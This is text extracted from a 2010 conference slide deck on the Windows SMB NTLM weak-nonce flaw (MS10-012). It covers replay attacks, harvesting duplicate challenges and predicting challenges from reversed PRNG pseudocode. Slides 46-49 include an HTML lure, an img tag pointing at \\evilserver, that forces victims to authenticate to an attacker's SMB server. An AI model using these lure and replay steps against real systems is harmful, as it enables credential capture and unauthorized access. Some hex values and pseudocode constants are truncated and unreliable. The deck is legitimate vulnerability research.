Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability
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- Shannon Pierce
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1 Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability Hernan Ochoa Agustin Azubel September, 2010
2 Presentation goals: Describe the vulnerability in detail Explain & demonstrate exploitation Three different exploitation methods Clear up misconceptions Determine vulnerability scope, severity and impact Share Conclusions
3 Vulnerability Information Flaws in Windows implementation of NTLM (v1 & v2) - attackers can access SMB service as authorized user - leads to read/write access to files and other SMB shared resources and also remote code execution (via DCE/RPC) Published February 2010 CVE , BID Advisory with Exploit Code: Addressed by MS10-012
4 Why talk about this vulnerability? Major 17-year old vulnerability affecting Windows NTLM Authentication Mechanism! - Basically, all Windows versions were affected (NT4, 2000, XP, 2003, Vista, 2008, 7) - Windows NT 4 released in Windows NT 3.1 released in 1993 ( 17 years ago) - All this time, we assumed it was working correctly.. but it wasn t... - Flew under the radar...
5 Why talk about this vulnerability? Interesting vulnerability, not your common buffer overflow - Issues in the Pseudo-Random Number Generator (PRNG) - Challenge-response protocol implementation issues - Replay attacks - Attack to predict challenges is interesting
6 What is SMB NTLM Authentication? SMB (Server Message Block) Microsoft Windows Protocol used for network file sharing, printer sharing, etc. Provides communications abstractions: named pipes, mail slots Remote Procedure Calls (DCE/RPC over SMB) - Distributed COM (DCOM) NTLM (NT Lan Manager) Microsoft Windows challenge-response authentication protocol - NTLMv1, NTLMv2, Raw mode, NTLMSSP and more Used to authenticate SMB connections S...l...o...w...l...y.. being replaced by Kerberos But, NTLM still very widely used... all versions.. SMB NTLM Kerberos NTLMv1 NTLMv2 others..
7 What is a challenge-response authentication protocol?
8 Simple challenge-response protocol example Inits authentication Generates and sends challenge C Client Calculates and sends Response R, where R = f(secret, challenge) Server Verifies R, Allows or disallows access secret is shared by both parties and identifies client To help prevent prediction attacks, replay attacks and others, - Challenges have to be nonpredictable - Challenges have to be unique
9 NTLM challenge-response authentication protocol
10 SMB NTLMv1 challenge-response authentication protocol (simplified) SMB_NEGOTIATE_PROTOCOL_REQUEST includes supported dialects & flags Client Server
11 SMB NTLMv1 challenge-response authentication protocol (simplified) SMB_NEGOTIATE_PROTOCOL_REQUEST includes supported dialects & flags SMB_NEGOTIATE_PROTOCOL_RESPONSE Agrees on dialect to use & flags includes 8-byte server challenge/nonce (C) Client Server
12 SMB NTLMv1 challenge-response authentication protocol (simplified) SMB_NEGOTIATE_PROTOCOL_REQUEST includes supported dialects & flags SMB_NEGOTIATE_PROTOCOL_RESPONSE Agrees on dialect to use & flags includes 8-byte server challenge/nonce (C) Client SMB_SESSION_SETUP_ANDX_REQUEST includes username, domain 24-byte Ansi Password (LM), 24-byte Unicode Password (NT) Ansi Password = f(lm_hash, challenge) Unicode Password = f(nt_hash, challenge) Server
13 SMB NTLMv1 challenge-response authentication protocol (simplified) SMB_NEGOTIATE_PROTOCOL_REQUEST includes supported dialects & flags SMB_NEGOTIATE_PROTOCOL_RESPONSE Agrees on dialect to use & flags includes 8-byte server challenge/nonce (C) Client SMB_SESSION_SETUP_ANDX_REQUEST includes username, domain 24-byte Ansi Password (LM), 24-byte Unicode Password (NT) Ansi Password = f(lm_hash, challenge) Unicode Password = f(nt_hash, challenge) Server Applies f() with pwd hashes stored on server and compares result with client response f() = K1, K2, K3 = LM_HASH padded with 5 bytes (all zeroes) 24-byte Ansi Password = DES(K1,C) + DES(K2,C) + DES(K3,C) K1, K2, K3 = NT_HASH padded with 5 bytes (all zeroes) 24-byte Unicode Password = DES(K1,C) + DES(K2,C) + DES(K3,C)
14 SMB NTLMv1 challenge-response authentication protocol (simplified) SMB_NEGOTIATE_PROTOCOL_REQUEST includes supported dialects & flags SMB_NEGOTIATE_PROTOCOL_RESPONSE Agrees on dialect to use & flags includes 8-byte server challenge/nonce (C) Client SMB_SESSION_SETUP_ANDX_REQUEST includes username, domain 24-byte Ansi Password (LM), 24-byte Unicode Password (NT) Ansi Password = f(lm_hash, challenge) Unicode Password = f(nt_hash, challenge) Server SMB_SESSION_SETUP_ANDX_RESPONSE Allows or disallows access Applies f() with pwd hashes stored on server and compares result with client response f() = K1, K2, K3 = LM_HASH padded with 5 bytes (all zeroes) 24-byte Ansi Password = DES(K1,C) + DES(K2,C) + DES(K3,C) K1, K2, K3 = NT_HASH padded with 5 bytes (all zeroes) 24-byte Unicode Password = DES(K1,C) + DES(K2,C) + DES(K3,C)
15 SMB NTLMv1 challenge-response authentication protocol (example) SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 Client SMB_SESSION_SETUP_ANDX_REQUEST Account: test, Domain: TEST-WINXPPRO Ansi Pwd: a1107a4e32e947906e605ec82cc5bc4b289aba170225d022 Unicode Pwd: f35c1f8714f7ef1b82b8d73ef5f73f31be0cd97c66beece2 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce (aka Encryption Key): B9B5C9DD79 Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server SMB_SESSION_SETUP_ANDX_RESPONSE Allows or disallows access Applies f() with pwd hashes stored on server and compares result with client response A Challenge/nonce has one corresponding Response - 1 to 1 relationship
16 SMB NTLMv2 challenge-response authentication protocol (simplified) SMB_NEGOTIATE_PROTOCOL_REQUEST includes supported dialects & flags SMB_NEGOTIATE_PROTOCOL_RESPONSE Agrees on dialect to use & flags includes 8-byte server challenge/nonce (C) Client SMB_SESSION_SETUP_ANDX_REQUEST includes username, domain 24-byte LMv2 = hmac_md5(ntv2hash*, server_nonce + client_challenge) + 8-byte client_challenge 16-byte NTv2 = hmac_md5(ntv2hash*, server_nonce + blob**) 8-byte TimeStamp 8-byte client_challenge (yes, again..) *ntv2hash_server = hmac_md5( nt_hash, unicode(upper(user)) + unicode((upper(domain)) ) **blob = (TimeStamp+ client_challenge + domain + data) Server SMB_SESSION_SETUP_ANDX_RESPONSE Allows or disallows access Calculates LMv2 and/or NTv2, compares result with client response
17 SMB NTLMv2 challenge-response authentication protocol (example) SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: D87558B432C9DF09 Client SMB_SESSION_SETUP_ANDX_REQUEST Account: test, Primary Domain: TEST-WINXPPRO 24-byte LMv2 = a75878e54344db30bd3e4c923777de7b + 77ff82efd6f17dad 16-byte NTv2 = 6f74dc2a3a9719bbd189b8ac36e1f386 Header = 0x Reserved = 0x byte TimeStamp = 3cea680ede1bcb01 8-byte client_challenge = 77ff82efd6f17dad unknown = 0x domain name = TEST-WINXPPRO SMB_SESSION_SETUP_ANDX_RESPONSE Allows or disallows access Server Calculates LMv2 and/or NTv2, compares result with client response
18 SMB NTLM challenge-response authentication 1st. attempt SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 Client SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce ( EncryptionKey ): B9B5C9DD79 Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server Client n-th attempt SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce ( EncryptionKey ): X Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server So.. if we repeatedly connect to Server requesting a challenge
19 SMB NTLM challenge-response authentication 1st. attempt SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 Client SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce ( EncryptionKey ): B9B5C9DD79 Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server Client n-th attempt SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce ( EncryptionKey ): X Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server So.. if we repeatedly connect to Server requesting a challenge EncryptionKey should not be predictable... EncryptionKey should not be repeated...
20 SMB NTLM challenge-response authentication 1st. attempt SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 Client SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce ( EncryptionKey ): B9B5C9DD79 Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server Client n-th attempt SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce ( EncryptionKey ): X Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server So.. if we repeatedly connect to Server requesting a challenge EncryptionKey should not be predictable... EncryptionKey should not be repeated... But it was!
21 SMB NTLM challenge-response authentication 1st. attempt SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 Client SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce ( EncryptionKey ): B9B5C9DD79 Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server Client n-th attempt SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce ( EncryptionKey ): X Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server So.. if we repeatedly connect to Server requesting a challenge EncryptionKey should not be predictable... EncryptionKey should not be repeated... But it was! Frequently!
22 Plotting challenges occurrence no points with 2 as image means there are no duplicates
23 Plotting challenges occurrence this is the same challenge and it was issued two times
24 Plotting challenges occurrence
25 Plotting challenges occurrence
26 Plotting challenges occurrence
27 Plotting challenges occurrence
28 Plotting challenges occurrence
29 Plotting challenges occurrence pattern A pattern A
30 Plotting challenges occurrence pattern A pattern A pattern B
31 Plotting challenges occurrence pattern A pattern A pattern B pattern C pattern C
32 Plotting challenges occurrence
33 Exploitation Methods Passive replay attacks Active collection of duplicate challenges Active prediction of challenges
34 Exploitation Methods Passive replay attacks Active collection of duplicate challenges Active prediction of challenges
35 1. Exploitation Methods - Passive replay attacks Client Server Attacker eavesdrops NTLM traffic Gathers challenges and responses NTLMv1 example Nonce Ansi Pwd Unicode Pwd User Domain F87058B9B5C9AF B9B5C9DD79 897DB8F4FDC10000 ff1f671e fbc7d2cfffc4b267acc908a25d 998 a1107a4e32e947906e605ec82cc5bc4b289aba d022 dddd cdddc4bcccd abcdd f35c1f8714f7ef1b82b8d73ef5f73f31be 0cd97c66beece f1bbbbf a9af5aaf3000 0cd97c55afffc4 test test test-winxppro test-winxppro aaaa12349cfd14dc cbbbb00 ddfdffd7123abbbb test2 test2-winxppro
36 Exploitation Methods - Passive replay attacks 2. Attacker Server Nonce Ansi Pwd Unicode Pwd User Domain B9B5C9D D79 a1107a4e32e947906e605ec82cc5bc4b28 9aba170225d f1bbbbf a9af5a af30000cd97c55afffc4 test testwinxppro Attacker performs authentication attempts repeatedly
37 Exploitation Methods - Passive replay attacks 2. SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 Attacker SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server Nonce Ansi Pwd Unicode Pwd User Domain B9B5C9D D79 a1107a4e32e947906e605ec82cc5bc4b28 9aba170225d f1bbbbf a9af5a af30000cd97c55afffc4 test testwinxppro Attacker performs authentication attempts repeatedly
38 Exploitation Methods - Passive replay attacks 2. Attacker SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001? SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server Nonce Ansi Pwd Unicode Pwd User Domain B9B5C9D D79 a1107a4e32e947906e605ec82cc5bc4b28 9aba170225d f1bbbbf a9af5a af30000cd97c55afffc4 test testwinxppro Attacker performs authentication attempts repeatedly Until server generates duplicate challenge (observed in 1)
39 Exploitation Methods - Passive replay attacks 2. Attacker SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server Nonce Ansi Pwd Unicode Pwd User Domain B9B5C9D D79! a1107a4e32e947906e605ec82cc5bc4b28 9aba170225d f1bbbbf a9af5a af30000cd97c55afffc4 test test-winxppro
40 Exploitation Methods - Passive replay attacks 2. Attacker SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server Nonce Ansi Pwd Unicode Pwd User Domain B9B5C9D D79! a1107a4e32e947906e605ec82cc5bc4b28 9aba170225d f1bbbbf a9af5a af30000cd97c55afffc4 test test-winxppro
41 Exploitation Methods - Passive replay attacks 2. Attacker SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server Nonce Ansi Pwd Unicode Pwd User Domain B9B5C9D D79! a1107a4e32e947906e605ec82cc5bc4b28 9aba170225d f1bbbbf a9af5a af30000cd97c55afffc4 test test-winxppro Attacker SMB_SESSION_SETUP_ANDX_REQUEST Account: test, Domain: TEST-WINXPPRO Ansi Pwd: a1107a4e32e947906e605ec82cc5bc4b289aba170225d022 Unicode Pwd: f35c1f8714f7ef1b82b8d73ef5f73f31be0cd97c66beece2 Server Attacker sends response R (observed in 1)
42 Exploitation Methods - Passive replay attacks 2. Attacker SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 Primary Domain: WORKGROUP Server: TEST-WINXPPRO Server Nonce Ansi Pwd Unicode Pwd User Domain B9B5C9D D79! a1107a4e32e947906e605ec82cc5bc4b28 9aba170225d f1bbbbf a9af5a af30000cd97c55afffc4 test test-winxppro Attacker SMB_SESSION_SETUP_ANDX_REQUEST Account: test, Domain: TEST-WINXPPRO Ansi Pwd: a1107a4e32e947906e605ec82cc5bc4b289aba170225d022 Unicode Pwd: f35c1f8714f7ef1b82b8d73ef5f73f31be0cd97c66beece2 SMB_SESSION_SETUP_ANDX_RESPONSE allows access Attacker sends response R (observed in 1) Gains access to Server Server
43 Exploitation Methods Passive replay attacks Active collection of duplicate challenges Active prediction of challenges
44 Exploitation - Active collection of duplicate challenges 1. Attacker SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 User/Wkst Attacker sends multiple auth attempts and gathers challenges
45 Exploitation - Active collection of duplicate challenges 1. Attacker SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 User/Wkst Nonce B9B5C9DD79 F87058B9B5C9AF90... Attacker sends multiple auth attempts and gathers challenges
46 Exploitation - Active collection of duplicate challenges 2. Attacker makes user connect to him E.g.: with link to evil web site or embedded HTML with multiple <img src=\\evilserver\a.jpg>
47 Exploitation - Active collection of duplicate challenges 2. acting as server Attacker Attacker makes user connect to him E.g.: with link to evil web site or embedded HTML with multiple <img src=\\evilserver\a.jpg> User connects to attacker s custom SMB server SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc853 User/Wkst
48 Exploitation - Active collection of duplicate challenges 2. acting as server Attacker Attacker makes user connect to him E.g.: with link to evil web site or embedded HTML with multiple <img src=\\evilserver\a.jpg> Sends all challenges obtained in 1 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 User connects to attacker s custom SMB server SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc853 User/Wkst Nonce B9B5C9DD7 9 F87058B9B5C9AF9 0...
49 Exploitation - Active collection of duplicate challenges 2. acting as server Attacker Attacker makes user connect to him E.g.: with link to evil web site or embedded HTML with multiple <img src=\\evilserver\a.jpg> Sends all challenges obtained in 1 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 User connects to attacker s custom SMB server SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc853 User/Wkst Nonce B9B5C9DD7 9 F87058B9B5C9AF Sends Response R SMB_SESSION_SETUP_ANDX_REQUEST Account: test, Primary Domain: TEST-WINXPPRO 24-byte LMv2 = a75878e54344db30bd3e4c923777de7b + 77ff82efd6f17dad 16-byte NTv2 = 6f74dc2a3a9719bbd189b8ac36e1f386 Header = 0x Reserved = 0x byte TimeStamp = 3cea680ede1bcb01 8-byte client_challenge = 77ff82efd6f17dad unknown = 0x domain name = TEST-WINXPPRO Nonce B9B 5C9DD79 Response Attacker makes user/wkst encrypt/hash challenges obtained in 1...
50 Exploitation - Active collection of duplicate challenges 3. Attacker User/Wkst Nonce B9 B5C9DD Response [..]
51 Exploitation - Active collection of duplicate challenges 3. Attacker SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 User/Wkst Nonce B9 B5C9DD Response [..]
52 Exploitation - Active collection of duplicate challenges 3. Nonce B9 B5C9DD Attacker Response [..] SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001? SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 User/Wkst Attacker waits until duplicate challenge obtained in 1 appears
53 Exploitation - Active collection of duplicate challenges 3. Nonce B9 B5C9DD Attacker Response [..] SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001? SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 SMB_SESSION_SETUP_ANDX_REQUEST Account: test, Primary Domain: TEST-WINXPPRO 24-byte LMv2 = a75878e54344db30bd3e4c923777de7b + 77ff82efd6f17dad 16-byte NTv2 = 6f74dc2a3a9719bbd189b8ac36e1f386 Header = 0x Reserved = 0x byte TimeStamp = 3cea680ede1bcb01 8-byte client_challenge = 77ff82efd6f17dad unknown = 0x domain name = TEST-WINXPPRO User/Wkst Attacker waits until duplicate challenge obtained in 1 appears Sends Response (obtained in 2)
54 Exploitation - Active collection of duplicate challenges 3. Nonce B9 B5C9DD Attacker Response [..] SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001? SMB_NEGOTIATE_PROTOCOL_RESPONSE Challenge/nonce: B9B5C9DD79 SMB_SESSION_SETUP_ANDX_REQUEST Account: test, Primary Domain: TEST-WINXPPRO 24-byte LMv2 = a75878e54344db30bd3e4c923777de7b + 77ff82efd6f17dad 16-byte NTv2 = 6f74dc2a3a9719bbd189b8ac36e1f386 Header = 0x Reserved = 0x byte TimeStamp = 3cea680ede1bcb01 8-byte client_challenge = 77ff82efd6f17dad unknown = 0x domain name = TEST-WINXPPRO User/Wkst SMB_SESSION_SETUP_ANDX_RESPONSE allows access Attacker waits until duplicate challenge obtained in 1 appears Sends Response (obtained in 2) Attacker gains access to user/workstation/server as User
55 Exploitation - Active collection of duplicate challenges Our tests showed that... Duplicate challenges and responses obtained can be reused! - on the same machine! - on other machines! - attack once, exploit many times! - exploit trust relationships! You only need to repeat step 3 to regain access
56 Exploitation Methods Passive replay attacks Active collection of duplicate challenges Active prediction of challenges
57 SMB NTLM Challenge generation overview SMB_NEGOTIATE_PROTOCOL_REQUEST Dialect: NT LM 0.12, Flags2: 0xc001 Server srv.sys!srvsmbnegotiate Client SMB_NEGOTIATE_PROTOCOL_RESPONSE Encryption Key: B9B5C9DD79 EncryptionKey = srv.sys!getencryptionkey()
58 GetEncryptionKey() overview srv.sys SMB code _EncryptionKeyCount GetEncryptionKey() 1.Create seed 2.Use seed 3.Create challenge 4.Return challenge ntoskrnl.exe KeQuerySystemTime() RtlRandom()
59 GetEncryptionKey() overview srv.sys SMB code _EncryptionKeyCount GetEncryptionKey() 1.Create seed 2.Use seed 3.Create challenge 4.Return challenge ntoskrnl.exe KeQuerySystemTime() RtlRandom()
60 GetEncryptionKey() overview srv.sys SMB code _EncryptionKeyCount GetEncryptionKey() 1.Create seed 2.Use seed 3.Create challenge 4.Return challenge ntoskrnl.exe KeQuerySystemTime() RtlRandom()
61 GetEncryptionKey() overview srv.sys SMB code _EncryptionKeyCount GetEncryptionKey() 1.Create seed 2.Use seed 3.Create challenge 4.Return challenge ntoskrnl.exe KeQuerySystemTime() RtlRandom()
62 GetEncryptionKey() overview srv.sys SMB code _EncryptionKeyCount GetEncryptionKey() 1.Create seed 2.Use seed 3.Create challenge 4.Return challenge ntoskrnl.exe KeQuerySystemTime() RtlRandom()
63 GetEncryptionKey() overview srv.sys SMB code _EncryptionKeyCount GetEncryptionKey() 1.Create seed 2.Use seed 3.Create challenge 4.Return challenge ntoskrnl.exe KeQuerySystemTime() RtlRandom()
64 GetEncryptionKey() pseudocode GLOBAL_DWORD _EncryptionKeyCount = 0 srv.sys!getencryptionkey() { LARGE_INTEGER CurrentTime DWORD Seed DWORD n1, n2, n3 KeQuerySystemTime(&CurrentTime) CurrentTime.LowPart += _EncryptionKeyCount _EncryptionKeyCount += 0x100 CT = CurrentTime.LowPart Seed = CT[1], CT[2] 1, CT[2], CT[1]+1 n1 = ntoskrnl!rtlrandom(&seed) n2 = ntoskrnl!rtlrandom(&seed) n3 = ntoskrnl!rtlrandom(&seed) n1 = 0x if (n3 & 1) == 1 n2 = 0x if (n3 & 2) == 2 challenge = n1, n2 } return challenge
65 GetEncryptionKey() pseudocode GLOBAL_DWORD _EncryptionKeyCount = 0 srv.sys!getencryptionkey() { LARGE_INTEGER CurrentTime DWORD Seed DWORD n1, n2, n3 KeQuerySystemTime(&CurrentTime) CurrentTime.LowPart += _EncryptionKeyCount _EncryptionKeyCount += 0x100 CT = CurrentTime.LowPart Seed = CT[1], CT[2] 1, CT[2], CT[1]+1 n1 = ntoskrnl!rtlrandom(&seed) n2 = ntoskrnl!rtlrandom(&seed) n3 = ntoskrnl!rtlrandom(&seed) n1 = 0x if (n3 & 1) == 1 n2 = 0x if (n3 & 2) == 2 challenge = n1, n2 } return challenge
66 GetEncryptionKey() pseudocode GLOBAL_DWORD _EncryptionKeyCount srv.sys!getencryptionkey() { LARGE_INTEGER CurrentTime DWORD Seed DWORD n1, n2, n3 KeQuerySystemTime(&CurrentTime) CurrentTime.LowPart += _EncryptionKeyCount _EncryptionKeyCount += 0x100 CT = CurrentTime.LowPart Seed = CT[1], CT[2] 1, CT[2], CT[1]+1 n1 = ntoskrnl!rtlrandom(&seed) n2 = ntoskrnl!rtlrandom(&seed) n3 = ntoskrnl!rtlrandom(&seed) n1 = 0x if (n3 & 1) == 1 n2 = 0x if (n3 & 2) == 2 challenge = n1, n2 } return challenge
67 GetEncryptionKey() pseudocode GLOBAL_DWORD _EncryptionKeyCount srv.sys!getencryptionkey() { LARGE_INTEGER CurrentTime DWORD Seed DWORD n1, n2, n3 KeQuerySystemTime(&CurrentTime) CurrentTime.LowPart += _EncryptionKeyCount _EncryptionKeyCount += 0x100 CT = CurrentTime.LowPart Seed = CT[1], CT[2] 1, CT[2], CT[1]+1 n1 = ntoskrnl!rtlrandom(&seed) n2 = ntoskrnl!rtlrandom(&seed) n3 = ntoskrnl!rtlrandom(&seed) n1 = 0x if (n3 & 1) == 1 n2 = 0x if (n3 & 2) == 2 challenge = n1, n2 } return challenge
68 GetEncryptionKey() pseudocode GLOBAL_DWORD _EncryptionKeyCount srv.sys!getencryptionkey() { LARGE_INTEGER CurrentTime DWORD Seed DWORD n1, n2, n3 KeQuerySystemTime(&CurrentTime) CurrentTime.LowPart += _EncryptionKeyCount _EncryptionKeyCount += 0x100 CT = CurrentTime.LowPart Seed = CT[1], CT[2] 1, CT[2], CT[1]+1 n1 = ntoskrnl!rtlrandom(&seed) n2 = ntoskrnl!rtlrandom(&seed) n3 = ntoskrnl!rtlrandom(&seed) n1 = 0x if (n3 & 1) == 1 n2 = 0x if (n3 & 2) == 2 challenge = n1, n2 } return challenge
69 GetEncryptionKey() pseudocode GLOBAL_DWORD _EncryptionKeyCount srv.sys!getencryptionkey() { LARGE_INTEGER CurrentTime DWORD Seed DWORD n1, n2, n3 KeQuerySystemTime(&CurrentTime) CurrentTime.LowPart += _EncryptionKeyCount _EncryptionKeyCount += 0x100 CT = CurrentTime.LowPart Seed = CT[1], CT[2] 1, CT[2], CT[1]+1 n1 = ntoskrnl!rtlrandom(&seed) n2 = ntoskrnl!rtlrandom(&seed) n3 = ntoskrnl!rtlrandom(&seed) n1 = 0x if (n3 & 1) == 1 n2 = 0x if (n3 & 2) == 2 challenge = n1, n2 } return challenge
70 GetEncryptionKey() pseudocode GLOBAL_DWORD _EncryptionKeyCount srv.sys!getencryptionkey() { LARGE_INTEGER CurrentTime DWORD Seed DWORD n1, n2, n3 KeQuerySystemTime(&CurrentTime) CurrentTime.LowPart += _EncryptionKeyCount _EncryptionKeyCount += 0x100 CT = CurrentTime.LowPart Seed = CT[1], CT[2] 1, CT[2], CT[1]+1 n1 = ntoskrnl!rtlrandom(&seed) n2 = ntoskrnl!rtlrandom(&seed) n3 = ntoskrnl!rtlrandom(&seed) n1 = 0x if (n3 & 1) == 1 n2 = 0x if (n3 & 2) == 2 challenge = n1, n2 } return challenge
71 GetEncryptionKey() pseudocode GLOBAL_DWORD _EncryptionKeyCount srv.sys!getencryptionkey() { LARGE_INTEGER CurrentTime DWORD Seed DWORD n1, n2, n3 KeQuerySystemTime(&CurrentTime) CurrentTime.LowPart += _EncryptionKeyCount _EncryptionKeyCount += 0x100 CT = CurrentTime.LowPart Seed = CT[1], CT[2] 1, CT[2], CT[1]+1 n1 = ntoskrnl!rtlrandom(&seed) n2 = ntoskrnl!rtlrandom(&seed) n3 = ntoskrnl!rtlrandom(&seed) n1 = 0x if (n3 & 1) == 1 n2 = 0x if (n3 & 2) == 2 challenge = n1, n2 } return challenge
72 GetEncryptionKey() summary Gets entropy bits from KeQuerySystemTime() _EncryptionKeyCount Constructs a seed seed = CT[1], CT[2]-1, CT[2], CT[1]+1 Gets n1, n2, n3 from RtlRandom() Modifies n1 and n2 depending on n3 Returns a challenge concatenating n1 and n2
73 Where are we going with this? If we know the current internal state of RtlRandom() the current system time of the GetEncryptionKey() call the current value of _EncryptionKeyCount...we can calculate n1, n2, n and predict the next challenges to be issued...
74 RtlRandom overview [1/4] ntoskrnl.exe RtlRandom() Callers _RtlpRandomConstantVector RtlRandom() (M-M PRNG system) 1. Create numbers based on input seed using two LCGs 2. Fetch value from vector 3. Store value into vector 4. Return fetched value and a context srv.sys! GetEncryptionKey()
75 RtlRandom overview [1/4] ntoskrnl.exe RtlRandom() Callers _RtlpRandomConstantVector RtlRandom() (M-M PRNG system) 1. Create numbers based on input seed using two LCGs 2. Fetch value from vector 3. Store value into vector 4. Return fetched value and a context srv.sys! GetEncryptionKey()
76 RtlRandom overview [1/4] ntoskrnl.exe RtlRandom() Callers _RtlpRandomConstantVector RtlRandom() (M-M PRNG system) 1. Create numbers based on input seed using two LCGs 2. Fetch value from vector 3. Store value into vector 4. Return fetched value and a context srv.sys! GetEncryptionKey()
77 RtlRandom overview [1/4] ntoskrnl.exe RtlRandom() Callers _RtlpRandomConstantVector RtlRandom() (M-M PRNG system) 1. Create numbers based on input seed using two LCGs 2. Fetch value from vector 3. Store value into vector 4. Return fetched value and a context srv.sys! GetEncryptionKey()
78 RtlRandom overview [1/4] ntoskrnl.exe RtlRandom() Callers _RtlpRandomConstantVector RtlRandom() (M-M PRNG system) 1. Create numbers based on input seed using two LCGs 2. Fetch value from vector 3. Store value into vector 4. Return fetched value and a context srv.sys! GetEncryptionKey()
79 RtlRandom overview: MacLaren-Marsaglia Generators [4/4] M-M vector V V0 V1 V2 Vector V, size n, initialized Vn-3 Vn-2 Vn-1
80 RtlRandom overview: MacLaren-Marsaglia Generators [4/4] M-M vector V V0 V1 V2 Vector V, size n, initialized X = LCG1() Vn-3 Vn-2 Vn-1
81 RtlRandom overview: MacLaren-Marsaglia Generators [4/4] M-M vector V V0 V1 V2 Vector V, size n, initialized X = LCG1() Y = LCG2() Vn-3 Vn-2 Vn-1
82 RtlRandom overview: MacLaren-Marsaglia Generators [4/4] M-M vector V V0 V1 V2... Vj Vector V, size n, initialized X = LCG1() Y = LCG2() j = Y & (n - 1) Vn-3 Vn-2 Vn-1
83 RtlRandom overview: MacLaren-Marsaglia Generators [4/4] M-M vector V V0 V1 V2... Vj Vector V, size n, initialized X = LCG1() Y = LCG2() j = Y & (n - 1) Z = V[j] Vj Z Vn-3 Vn-2 Vn-1
84 RtlRandom overview: MacLaren-Marsaglia Generators [4/4] M-M vector V V0 V1 V2... Vj X Vn-3 Vn-2 Vn-1 Vector V, size n, initialized X = LCG1() Y = LCG2() j = Y & (n - 1) Z = V[j] V[j] = X Vj Z
